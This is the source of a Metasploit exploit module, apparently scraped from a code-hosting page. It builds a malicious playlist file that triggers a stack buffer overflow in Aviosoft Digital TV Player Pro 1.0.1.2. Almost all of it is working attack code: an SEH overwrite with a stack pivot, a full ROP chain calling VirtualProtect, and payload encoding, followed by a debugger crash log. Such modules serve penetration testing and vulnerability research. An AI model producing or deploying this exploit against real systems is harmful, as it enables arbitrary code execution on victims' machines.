Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info={})11super(update_info(info,12'Name' => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",13'Description' => %q{14This module exploits a vulnerability found in Aviosoft Digital TV Player15Pro version 1.x. An overflow occurs when the process copies the content of a16playlist file on to the stack, which may result arbitrary code execution under17the context of the user.18},19'License' => MSF_LICENSE,20'Author' =>21[22'modpr0be', #Initial discovery, poc23'sinn3r', #Metasploit24],25'References' =>26[27['OSVDB', '77043'],28['EDB', '18096'],29],30'Payload' =>31{32'BadChars' => "\x00\x0a\x1a",33'StackAdjustment' => -3500,34},35'DefaultOptions' =>36{37'EXITFUNC' => "seh",38},39'Platform' => 'win',40'Targets' =>41[42[43'Aviosoft DTV Player 1.0.1.2',44{45'Ret' => 0x6130534a, #Stack pivot (ADD ESP,800; RET)46'Offset' => 612, #Offset to SEH47'Max' => 5000 #Max buffer size48}49],50],51'Privileged' => false,52'DisclosureDate' => '2011-11-09',53'DefaultTarget' => 0))5455register_options(56[57OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])58])59end6061def junk(n=1)62return [rand_text_alpha(4).unpack("L")[0]] * n63end6465def nops(rop=false, n=1)66return rop ? [0x61326003] * n : [0x90909090] * n67end6869def exploit70rop = [71nops(true, 10), #ROP NOP720x6405347a, #POP EDX # RETN (MediaPlayerCtrl.dll)730x10011108, #ptr to &VirtualProtect740x64010503, #PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)75junk,760x6160949f, #MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)77junk(3),780x61604218, #PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)79junk(3),800x6403d1a6, #POP EBP # RETN (MediaPlayerCtrl.dll)81junk(3),820x60333560, #& push esp # ret 0c (Configuration.dll)830x61323EA8, #POP EAX # RETN (DTVDeviceManager.dll)840xA13977DF, #0x00000343-> ebx850x640203fc, #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)860x6163d37b, #PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)870x61626807, #XOR EAX,EAX # RETN (EPG.dll)880x640203fc, #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)890x6405347a, #POP EDX # RETN (MediaPlayerCtrl.dll)900xA13974DC, #0x00000040-> edx910x613107fb, #ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)920x60326803, #POP ECX # RETN (Configuration.dll)930x60350340, #&Writable location940x61329e07, #POP EDI # RETN (DTVDeviceManager.dll)95nops(true), #ROP NOP960x60340178, #POP EAX # RETN97nops, #Regular NOPs980x60322e02 #PUSH # RETN99].flatten.pack("V*")100101buf = ''102buf << rand_text_alpha(target['Offset']-buf.length)103buf << [target.ret].pack('V*')104buf << rand_text_alpha(136)105buf << rop106buf << make_nops(32)107buf << payload.encoded108buf << rand_text_alpha(target['Max']-buf.length)109110file_create(buf)111end112end113114=begin115eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000116eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0 nv up ei pl nz na pe nc117cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206118MediaPlayerCtrl!DllCreateObject+0x220:1196400f6f0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]1200:000> !exchain1210012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll122*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -123DTVDeviceManager+534a (6130534a)124Invalid exception stack at 414141411250:000> !address edi12600130000 : 00130000 - 00003000127Type 00040000 MEM_MAPPED128Protect 00000002 PAGE_READONLY129State 00001000 MEM_COMMIT130Usage RegionUsageIsVAD1310:000> !address esi132047a0000 : 047a0000 - 0000b000133Type 00020000 MEM_PRIVATE134Protect 00000004 PAGE_READWRITE135State 00001000 MEM_COMMIT136Usage RegionUsageHeap137Handle 013c0000138=end139140141